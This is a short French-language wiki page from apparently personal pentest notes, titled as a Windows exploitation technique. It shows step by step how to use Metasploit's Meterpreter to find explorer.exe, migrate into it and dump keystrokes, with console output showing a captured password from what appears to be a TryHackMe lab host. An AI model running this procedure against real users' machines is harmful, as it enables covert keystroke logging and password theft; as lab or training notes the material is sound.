[Exploitation/Windows] Keylogger

Introduction

Afin de récupérer des mots de passe dans un contexte réel, il peut être utile de déployer un keylogger sur le poste de l'utilisateur.

Nous allons voir comment le faire avec **Metasploit**, mais vous pouvez utiliser le keylogger de votre choix.

Manuel

Depuis une session Meterpreter ou un reverse shell vous pouvez constater si le processus explorer.exe est en cours d'exécution :

```
meterpreter\>ps | grep "explorer"
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                      Path
 ---   ----  ----          ----  -------  ----                      ----
 3612  3592  explorer.exe  x64   1        THMSERVER1\trevor.local  C:\Windows\explorer.exe
```

Ensuite on peut migrer sur ce processus pour lancer le keylogger sur l'utilisateur cible :

```
meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.
```

On peut maintenant lancer le keylogger :

```
meterpreter\>keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Passwordpasswordpassword<CR>
```

Revision #2
Created 2024-03-08 13:55:04 UTC by Elieroc
Updated 2024-05-03 13:12:20 UTC by Elieroc